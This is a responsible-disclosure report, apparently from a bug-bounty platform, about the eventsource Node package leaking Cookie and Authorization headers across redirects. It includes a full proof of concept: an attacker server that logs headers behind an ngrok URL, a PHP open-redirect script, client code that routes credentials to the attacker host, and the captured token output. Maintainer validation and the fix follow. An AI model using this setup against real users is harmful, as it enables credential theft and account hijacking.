Exposure of Sensitive Information to an Unauthorized Actor in eventsource/eventsource

Valid

Reported on

Feb 6th 2022


Exposure of Sensitive Information to an Unauthorized Actor in EventSource/eventsource

Reported on Feb 6th 2022 | Timothee Desurmont

Vulnerability type: CWE-200

Bug

Cookies & Authorisation headers are leaked to external sites.

Description

When fetching an url with a link to an external site (Redirect), the users Cookies & Autorisation headers are leaked to the third party application. According to the same-origin-policy, the header should be "sanitized".

Proof of Concept

  1. Start a nodejs server (attacker):
    const express = require('express')
    const app = express()

    app.get('/', function (req, res) {
        console.log(req.headers);
        res.status(200).send()
    })

    app.listen(3000)

    console.log('listening on port 3000');
  1. lunch ngrok (attacker):
ngrok http 3000
Session Status                online                                                                     
Account                       Timothee Desurmont (Plan: Free)                                            
Update                        update available (version 2.3.40, Ctrl-U to update)                        
Version                       2.3.35                                                                     
Region                        United States (us)                                                         
Web Interface                 http://127.0.0.1:4040                                                      
Forwarding                    http://cb45-92-98-215-185.ngrok.io -> http://localhost:3000                
Forwarding                    https://cb45-92-98-215-185.ngrok.io -> http://localhost:3000               
                                                                                                         
Connections                   ttl     opn     rt1     rt5     p50     p90                                
                              1       0       0.00    0.00    8.92    8.92                               
                                                                                                         
HTTP Requests                                                                                            
-------------                                                                                            
                                                                                                         
GET /                          200 OK  
  1. Add a redirect.php file in \var\www\html (mysite)
    $redirect_url = $_GET['url'];
    header("Location: " . $redirect_url);
  1. Run below code (mysite)
    const EventSource = require("eventsource")

    const mysite = "http://192.168.2.31";
    const attacker = "http://cb45-92-98-215-185.ngrok.io";

    const options = {
        method: 'GET',
        headers: {
            'Content-Type': 'application/json'
            ,'Cookie': 'ajs_anonymous_id=1234567890"',
            "Authorization": "Bearer eyJhb12345abcdef"
        }
    };

    var es = new EventSource(`${mysite}//redirect.php?url=${attacker}/`, options);

    es.onerror = function (err) {
        if (err) {
        if (err.status === 401 || err.status === 403) {
            console.log('not authorized');
        }
        }
    };
  1. Responce recived by the attacker
[nodemon] starting `node server.js`
listening on port 3000
{
    host: 'cb45-92-98-215-185.ngrok.io',
    accept: 'text/event-stream',
    authorization: 'Bearer eyJhb12345abcdef',
    'cache-control': 'no-cache',
    'content-type': 'application/json',
    cookie: 'ajs_anonymous_id=1234567890"',
    'x-forwarded-for': '92.98.215.185',
    'x-forwarded-proto': 'http',
    'accept-encoding': 'gzip' 
}

Consequence

Access Control: Hijack of victims account.

The attacker can steal the user's credentials and then use these credentials to access the legitimate web site.

Suggested fix

If the redirected url is different from the url domain, the Authentication & Cookies should be removed from the header.

We are processing your report and will contact the eventsource team within 24 hours. 4 months ago
Timothee Desurmont modified the report
4 months ago
Timothee Desurmont modified the report
4 months ago
We created a GitHub Issue asking the maintainers to create a SECURITY.md 4 months ago
Timothee
25 days ago

Researcher


Hi @Admin, any update on above report?

Jamie Slome
24 days ago

Admin


I've dropped a comment on the GitHub Issue here. Fingers crossed we get a response soon! 🤞

Espen Hovlandsdal validated this vulnerability 15 days ago

Thanks for reporting - I have a pull request with a fix awaiting review from the other maintainers: https://github.com/EventSource/eventsource/pull/271

Timothee Desurmont has been awarded the disclosure bounty
The fix bounty is now up for grabs
The researcher's credibility has increased: +7
Timothee
15 days ago

Researcher


Hi Epson, thanks for validating the report. I am glad to hear that you already have a fix. If needed I can also submit a PR to patch the code (just let me know by dropping a message below) 😊

15 days ago
Timothee
15 days ago

Researcher


submitted the patch just in case...

Espen Hovlandsdal confirmed that a fix has been merged on 10ee0c 13 days ago
Espen Hovlandsdal has been awarded the fix bounty
eventsource.js#L32-L311 has been validated
Matan
9 days ago

I think that this one is also fixed in version 1.1.1 based on this commit. Am I mistaken here? Thanks!

Espen
5 days ago

You are correct, yes.

to join this conversation